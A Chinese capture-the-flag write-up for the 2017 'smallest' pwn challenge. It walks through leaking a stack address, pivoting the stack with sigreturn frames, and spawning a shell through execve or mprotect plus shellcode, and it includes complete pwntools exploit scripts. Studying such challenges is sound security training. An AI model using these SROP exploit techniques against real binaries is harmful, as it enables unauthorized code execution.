360ichunqiu 2017-smallest

1.常规checksec,开了一个NX,没办法shellcode。IDA打开查看程序,找漏洞,有个屁的漏洞,只有一个syscall的系统调用,各种栈操作也没有。

2.观察这个系统调用,系统调用参数通过edx,rsi,rdi赋值,edx直接被赋值为400h,buf对应的rsi被rsp赋值,系统调用号fd对应的rdi被rax赋值。再查看汇编代码,有xor rax,rax,所以rax一定是0,那么这个syscall系统调用的就是read函数,读取的数取直接存入栈顶。由于buf大小为400h,且只有一个syscall,之后直接retn,没有leave指令,这就代表了rsp指向的地址就是我们执行完syscall后start函数retn的返回地址(pop eip)。也就是如果输入一个地址,读取完之后,通过retn就会跳转到该地址中。另外程序中除了retn之外没有其它对栈帧进行操作的指令,如果输入多个syscall地址,就可以反复执行syscall。并且最开始输入400h字节,程序流完全可控。

img

3.首先想到rop,但是题目没给Libc,并且通过调试发现,这个程序压根就没导入外部的Libc库,IDA中打开没有extern,完全没办法常规rop,那么想用SROP。远程调试一下查看堆栈数据,发现临时创建的smallest段数据没有可写权限,能够利用的只有[stack]栈数据。所以这里需要先泄露一个栈地址来让我们能够往栈中写入数据binsh从而调用execve(‘/bin/sh\x00’,0,0)来直接getshell。

img

4.之后观察栈上的数据,发现当运行到syscall时,rsp下方的内容全是栈上的地址。img

rbp一直都是0x000……这是因为程序只有一个start函数,根本就没有为函数再次创建栈,所用的只是最初生成的栈空间。根据这个原理,我们可以通过系统调用sys_write函数,来打印rsp指向的内容,也就是某个栈地址,这样就成功泄露栈地址。

5.但是sys_write的调用号是1,而通过调试发现rax的初始值被默认设置为0,并且程序中没有任何修改rax的代码。唯一一个也只有xor rax, rax,但是任何数和本身异或的结果都是0,所以如果程序每次都从这行代码执行,那么执行的系统调用号永远都是0,也就是会无限循环read。这里想到由于栈完全可控,并且输入一个地址,程序执行完这个地址对应的函数后retn会直接跳转到rsp的下一行。这里选择让程序再执行一次sys_read函数,之后我们为其中一次输入一个字节,并且这次返回不再从xor这行代码开始执行,从mov rsi, rsp开始。由于sys_read的返回值自动写回给rax(一般函数的返回值都会写给rax),所以读取几个字节read就向rax写入多少,这样就会使得rax也可以得到控制,不再被xor为0,调用我们想调用的系统函数。

6.所以编写payload:先尝试一下看能否泄露栈地址,test1.py

1
2
3
4
5
6
7
8
9
10
#注释头

payload = ""
payload += p64(start_addr)
payload += p64(set_rsi_rdi_addr)
payload += p64(start_addr)
#泄露栈地址之后返回到start,执行下一步操作。
io.send(payload)
sleep(3)
io.send(payload[8:8+1])

#利用sys_read随便读取一个字符,设置rax = 1,由于retn关系,rsp下拉了一个单位,所以这里会读入到原先的rsp+0x8处,也就是从原先的Payload中第8个字符开始,抽取一个字符,就是set_rsi_rdi_addr的最后一个字节,为了不改变返回地址。如果写成:io.send(‘\xb8’)效果一样,都是为了不改变返回地址。之后再执行set_rsi_rdi_addr从而执行write函数,

1
2
3
4
5
#注释头

stack_addr = u64(io.recv()[8:16]) + 0x100
#从最初的rsp+0x10开始打印400字节数据,那么从泄露的数据中抽取栈地址,+0x100防止栈数据过近覆盖
log.info('stack addr = %#x' %(stack_addr))

7.这里可以看到成功泄露了一个栈地址,但是不能再用简单读入binsh字符串之后设置SigreturnFrame结构体来getshell,因为这里设置读入地址是通过rsp设置的。如果将rsp设置为我们想读入binsh的栈地址,那么肯定是可以读入binsh字符串的,但是当程序运行到retn时,跳转的是binsh这个地址,这是不合法的,没办法跳转,程序会崩溃。

这里就考虑使用SigreturnFrame()来进行栈劫持,将整个栈挪移到目的地。

(1)首先布置SigreturnFrame()的栈空间,进行栈劫持:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

frame_read = SigreturnFrame()
#设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot
frame_read.rax = constants.SYS_read#调用read读取payload2
frame_read.rdi = 0#fd参数
frame_read.rsi = stack_addr#读取payload2到rsi处
frame_read.rdx = 0x300#读取长度为0x300
#读取的大小
frame_read.rsp = stack_addr#设置SROP执行完的rsp位置
#设置执行SROP之后的rsp为stack_addr,里面存的是start_addr,retn指令执行后从start开始。
frame_read.rip = syscall_addr#设置SROP中的一段代码指令

(2)发送payload。

1
2
3
4
5
6
7
8
9
10
11
#注释头

payload1 = ""
payload1 += p64(start_addr)#读取payload[8:8+15],设置rax=0xf0
payload1 += p64(syscall_addr)#利用rax=0xf0,调用SROP
payload1 += str(frame_read)
io.send(payload1)
sleep(3)
io.send(payload1[8:8+15])
#为rax赋值为0xf0
sleep(3)

程序运行SROP过程中,会执行read函数,将payload2读取到stack_addr处,所以当程序运行完SROP后,栈顶rsp被劫持到stack_addr处,同时stack_addr上保存的内容是payload2,首地址是start,所以retn执行后仍旧从start开始。

(3)设置第二次的SigreturnFrame攻击:

1
2
3
4
5
6
7
#注释头

frame_execve = SigreturnFrame()
#设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
frame_execve.rip = syscall_addr

这里的0x108是计算出来的,需要计算从stack_addr到rdi,也就是binsh字符串的距离。由于传进去的是结构体,大小为0xf8。前一个例子中binsh字符串是放在str(frameExecve)之前,所以没有那么大。这里却是放在str(frame_execve)之后,所以从stack_addr为起始,start_addr,syscall_addr,frame_execve),总共为0xf8+0x08*2=0x108,这里不太懂可以调试一下看看。也就是再一次start_addr读取字符串binsh的位置。

8.发送payload,读取binsh字符串,getshell:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

payload2 = ""
payload2 += p64(start_addr)#处在stack_addr处,读取payload[8:8+15],设置rax=0xf0
payload2 += p64(syscall_addr)#处在stack_addr+0x08,利用rax=0xf0,调用SROP
payload2 += str(frame_execve)#处在stack_addr+0x10
payload2 += "/bin/sh\x00"#处在stack+0x108处
io.send(payload2)
sleep(3)
io.send(payload2[8:8+15])
sleep(3)
io.interactive()

9.尝试使用mprotect为栈内存添加可执行权限x,从而shellcode来getshell。

(1)第一段的劫持栈和读取payload2进入劫持栈处都是一样的

1
2
3
4
5
6
7
8
9
10
#注释头

frame_read = SigreturnFrame()#设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr
#读取payload2,这个stack_addr地址中的内容就是start地址,SROP执行完后ret跳转到start
frame_read.rip = syscall_addr

(2)第二段需要调用mprotect来修改权限:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

frame_mprotect = SigreturnFrame()
#设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
#权限为R,W,X
frame_mprotect.rsp = stack_addr
#劫持栈地址rsp
frame_mprotect.rip = syscall_addr

(3)最后的shellcode:

1
2
3
4
5
6
7
8
9
#注释头

payload2 = ""
payload2 += p64(stack_addr+0x10) #处在stack_addr
#SROP执行完后,ret到stack_addr+0x10处的代码,即执行shellcode
payload2 += asm(shellcraft.amd64.linux.sh())#处在stack_addr+0x10
io.send(payload2)
sleep(3)
io.interactive()

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157